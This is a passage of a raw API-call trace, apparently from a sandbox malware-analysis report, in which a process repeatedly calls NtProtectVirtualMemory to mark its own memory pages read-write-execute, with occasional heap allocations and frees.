NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.154] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.165] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.175] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.185] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.206] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.217] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x2000) returned 0x933a60 [0242.223] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.234] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.255] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.266] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.299] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.310] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.321] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x932a58) returned 1 [0242.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.344] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.355] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.372] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.404] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.414] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.425] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.442] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.474] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.489] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.504] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.543] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.559] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.584] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.663] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.678] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.716] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.730] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.755] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.771] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.784] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.801] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.812] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.822] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.832] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.867] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.877] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x3000) returned 0x935a68 [0242.893] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.903] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.933] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.943] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.954] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.965] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.021] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.031] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x933a60) returned 1 [0243.036] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.046] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.078] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.099] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.109] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.219] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.229] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.239] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.249] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.274] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.284] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x4000) returned 0x938a70 [0243.290] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.300] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.396] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.406] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.416] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x935a68) returned 1 [0243.421] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.452] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.463] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.474] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.485] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.505] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.515] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.526] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.544] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.555] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.566] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.631] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.652] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.670] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.681] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.692] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.702] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.720] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.731] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.742] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.752] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.775] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, 